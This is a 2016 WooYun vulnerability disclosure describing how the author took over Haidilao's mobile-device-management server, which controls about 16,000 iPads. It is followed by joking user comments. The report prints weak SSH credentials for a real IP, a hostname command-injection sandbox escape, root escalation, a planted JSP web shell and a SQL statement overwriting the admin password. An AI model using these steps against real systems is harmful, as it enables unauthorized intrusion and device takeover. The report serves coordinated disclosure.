当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0183017

漏洞标题：海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

相关厂商：haidilao.com

漏洞作者： 路人甲

提交时间：2016-03-10 16:35

修复时间：2016-04-24 17:06

公开时间：2016-04-24 17:06

漏洞类型：应用配置错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-10： 细节已通知厂商并且等待厂商处理中
2016-03-10： 厂商已经确认，细节仅向厂商公开
2016-03-20： 细节向核心白帽子及相关领域专家公开
2016-03-30： 细节向普通白帽子公开
2016-04-09： 细节向实习白帽子公开
2016-04-24： 细节向公众公开

简要描述：

海底捞某系统服务默认配置不当可控制海底捞16097台ipad（安装及删除应用/锁定设备/清除密码/发送通知/响铃等）

详细说明：

https://mdm.haidilao.com/mdm/admin/authenticate.do

1(CW(F{U(ND~CL(%VLIZKPK.jpg


用插件扫发现ssh弱口令
ssh admin@103.240.244.6 admin

hostname `id`/g',cmd=id;`/bin/bash>&2`'

跳出沙盒
跳出沙盒后sudo su 直接获取root权限

屏幕快照 2016-03-10 下午4.04.54.png


写shell
https://103.240.244.6/mdm/f.jsp?z0=utf-8 tom
连接数据库：

屏幕快照 2016-03-10 下午4.08.05.png


管理员表：t_sys_user
密码没解出来 我们直接修改密码 登陆后再还原回去

UPDATE t_sys_user SET password='337772b3b5cdac00b9025c129e63ce38' where loginid='admin'


漏洞证明：

屏幕快照 2016-03-10 下午4.10.40.png


根据报表统计已激活的一共16097台设备 几乎都是ipad

屏幕快照 2016-03-10 下午4.12.13.png


屏幕快照 2016-03-10 下午4.12.27.png


屏幕快照 2016-03-10 下午4.12.44.png


屏幕快照 2016-03-10 下午4.13.06.png


屏幕快照 2016-03-10 下午4.13.30.png


屏幕快照 2016-03-10 下午4.14.02.png


屏幕快照 2016-03-10 下午4.16.28.png


屏幕快照 2016-03-10 下午4.19.57.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2016-03-10 17:06

厂商回复：

谢谢，我们已进行修复！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-03-10 16:38 | 梧桐树下 ( 普通白帽子 | Rank:1728 漏洞数:284 | 一大波洞正在过来……)

    帮我加两盘羊肉，谢谢！

  2. 2016-03-10 16:40 | 浮萍 ( 普通白帽子 | Rank:1034 漏洞数:202 )

    帮我订个位置吧

  3. 2016-03-10 16:40 | 土夫子 ( 普通白帽子 | Rank:469 漏洞数:83 | 看似山穷水尽，终将柳暗花明)

    一盘鲜毛肚，两条热毛巾。水多加柠檬

  4. 2016-03-10 16:43 | 幻老头儿 ( 普通白帽子 | Rank:271 漏洞数:60 | 新手上路。)

    装几个游戏，下次我过去可以直接玩……

  5. 2016-03-10 16:45 | 浩天 认证白帽子 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈！躁起来！)

    哥，我帮你把酸梅汤加满吧！

  6. 2016-03-10 16:48 | 土夫子 ( 普通白帽子 | Rank:469 漏洞数:83 | 看似山穷水尽，终将柳暗花明)

    给我准备两个胸围38D的妹纸

  7. 2016-03-10 16:50 | 牛 小 帅 ( 普通白帽子 | Rank:1523 漏洞数:366 | 1.乌云最帅的男人 ...)

    @土夫子 出门右拐 WooYun: 速途网某站一个突破口导致（涉及几百名妹子/电话/qq/微信/女神照片） 欢迎您

  8. 2016-03-10 16:54 | North ( 路人 | Rank:15 漏洞数:6 | 123456789)

    加盘下滑，锅里加点汤

  9. 2016-03-10 17:04 | 李旭敏 ( 普通白帽子 | Rank:820 漏洞数:112 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    服务员，加水！

  10. 2016-03-10 17:04 | 专业种田 认证白帽子 ( 核心白帽子 | Rank:1638 漏洞数:208 | 没有最专业的农民,只有更努力地耕耘..........)

    我说怎么正吃着点不了菜了

  11. 2016-03-10 17:07 | Format_smile ( 普通白帽子 | Rank:486 漏洞数:172 | ···孰能无过，谁是谁非！)

    我只想吃顿海底捞而已

  12. 2016-03-10 17:22 | North ( 路人 | Rank:15 漏洞数:6 | 123456789)

    我擦。 打雷了。

  13. 2016-03-10 17:26 | 暴走 ( 普通白帽子 | Rank:611 漏洞数:106 | 专心补刀。)

    上菜啊，饿死了！

  14. 2016-03-10 17:47 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失，我羡慕你，但是我还是选择做...)

    安装删除应用这个就厉害了，基数大影响就大，以前某APP推广，一个安装差不多5块，1.6*5，洞主你这是要发啊~

  15. 2016-03-10 18:20 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，2859857@gmail.com，垃圾邮...)

    服务员，你过来下，怎么ipad老是响铃呢，咋办

  16. 2016-03-10 18:22 | 幻老头儿 ( 普通白帽子 | Rank:271 漏洞数:60 | 新手上路。)

    @’‘Nome 奥，先生，没事的，你的只是会响铃，刚才隔壁桌的，都放＊片了。。。

  17. 2016-03-10 18:22 | 梧桐树下 ( 普通白帽子 | Rank:1728 漏洞数:284 | 一大波洞正在过来……)

    修复这么快，我赌10块钱是后台弱口令。

  18. 2016-03-10 19:11 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    @幻老头儿 。。。不行，笑尿了

  19. 2016-03-10 21:27 | 幻老头儿 ( 普通白帽子 | Rank:271 漏洞数:60 | 新手上路。)

    @疯狗 狗哥，请保持你的高冷啊。。。笑点辣么低

  20. 2016-03-10 21:40 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，2859857@gmail.com，垃圾邮...)

    @疯狗 @幻老头儿 俩个猥琐男。。。。。。

  21. 2016-03-10 22:08 | 幻老头儿 ( 普通白帽子 | Rank:271 漏洞数:60 | 新手上路。)

    @’‘Nome 先生，你的菜已经下单了，还有，你不许跟隔壁桌的换ipad。。。

  22. 2016-03-10 22:18 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件，2859857@gmail.com，垃圾邮...)

    @幻老头儿 卧槽，我tm才不换了我这也播放 * 片了

  23. 2016-03-10 22:33 | 幻老头儿 ( 普通白帽子 | Rank:271 漏洞数:60 | 新手上路。)

    @’‘Nome 先生，可以的，但是请你只要看就行，别做其他事情啊